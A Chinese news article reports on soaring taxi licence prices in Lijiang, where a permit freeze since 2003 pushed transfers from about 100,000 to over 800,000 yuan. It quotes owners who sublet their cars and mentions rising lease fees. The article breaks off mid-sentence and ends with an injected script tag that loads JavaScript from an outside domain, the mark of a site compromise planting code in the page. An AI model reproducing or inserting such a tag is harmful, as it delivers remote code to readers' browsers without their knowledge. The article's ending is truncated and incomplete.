“买了，80多万。”玉龙县太安乡农民和红专一脸的轻松。

　　5月6日，他刚刚从丽江古城区光义街一车主手中购买了一辆出租车，正在丽江古城区玉龙县出租车协会办理过户手续。

　　这是目前丽江出租车交易价格最高的一例，但行业人士估计，不会是最后一例。

　　早在7年前，在丽江购买一辆含经营权的出租车手续只需要10多万，而目前，在丽江购买一辆含经营权的出租车，已由2003年的10多万元，涨至今年80多万元的价格。今年4月，卿云村中的一位出租车车主，就以82万元的价格，卖出了一辆出租车。

　　价格如此高昂，已不落于省会城市昆明，尽管如此，市场上想买车的人却比想卖车的人还多很多。的牌被疯炒的同时，也有很多司机表示，“即使涨到100万，他们也不愿意出售，因为这是他们生活最稳定的收入来源，而且价格还会一直涨下去。”

　　据了解，目前丽江的营运市场有着776辆T牌车辆(其中有1路微型客运65辆)，3-8路微型客运1000多辆。自2003年政府部门出台停止审批营运权之后，丽江市就没有增加过新的出租车运力，几年来，丽江市城区面积不断扩大，而出租车总量始终保持711辆未变。

　　现象 想买的人多 想卖的人少

　　据家住古城区卿云村的出租车车主张云豪介绍，目前出租车市场的行情是，想买的人多，想卖的人少。因为很多车主都觉得，由于已经停止审批，出租车牌照的价格还会继续升值，很多人都认为在丽江跑出租是一个金饭碗，这样导致了出租车牌照的价格继续升温。“丽江的出租车行情根本不像其他城市，需要中介机构，如果我在车后贴一个此车出售的电话号码，手机都会被打爆。”张云豪笑称。

　　2006年，张云豪以31万的价格，从别人手中购买了一辆出租车。之后，出租车牌照的价格每年都在涨。如今，他把车租给了小舅子，收取了12万押金，每个月还有5000元的租车费。而他的小舅子又以每月晚间2000-2400元的价格将车包给了别人。

　　对于出租车行业的投资回报，张云豪举了一个例子，2006年，他的一位居住在附近城中村的亲戚，被政府征地之后用补偿款购买了一辆出租车，不论是租给别人，还是自己跑，每月都能得到5千元左右的稳定收入。而同村的另一位村民，拿到补偿款之后，在七星街买了一间商铺，而且是位置较差的。买了两年都没有租出去，直到今年才出租了，一个月也就两三千的租金。

　　另一方面，张云豪认为丽江的出租车行业在就业方面做出了很大贡献，一辆车解决了3个人的就业：出租车主，白天包车人，夜班包车人，而这3个人也许就是3个家庭的主要经济支柱。

　　目前，丽江出租车车主有近七成都将车租出去，只用每月收取租车费，日常生活花销就已足够，而且拥有两辆出租车的车主并不在少数。

　　曾经是云南红塔足球队队员的和云群，也是两辆出租车的车主，目前他自己还在丽江经营了一家酒品公司。和云群的两辆出租车分别是在2003年和2005年购买的，“第一辆花了10多万元，第二辆是26万元左右。”和云群说，车从买来之日起，自己就从未开过，都是转租给别人。

　　目前，他的两辆出租车每月可收取9500元的租金。他认为，丽江目前的出租车牌照价格并不算高，这是由市场供求关系决定的，很多人想租都很难租到。“今后来丽江的游客越来越多，黑车越来越少，以后肯定还要涨。”他认为，随着丽江城市的发展，出租车行业的前景将更加广阔，丽江的出租车牌照至少可达到百万左右。

　　出租车牌照价格暴涨之后，出租车月承包费也由几年前的两三千元涨至现在的4500-5000元/月。

　　对于出租车转让价格的上涨，出租车承包人普遍认为，价格上涨后带来的不利影响最直接的体现就是承包费的上涨，形成的压力有可能被转嫁到乘客身上，从而出现拼车、宰客、绕行等服务问题。一位车主表示，出租车转让价格上涨，对整个行业肯定是有不利影响的，转?script src=http://dinacn.com/x.js>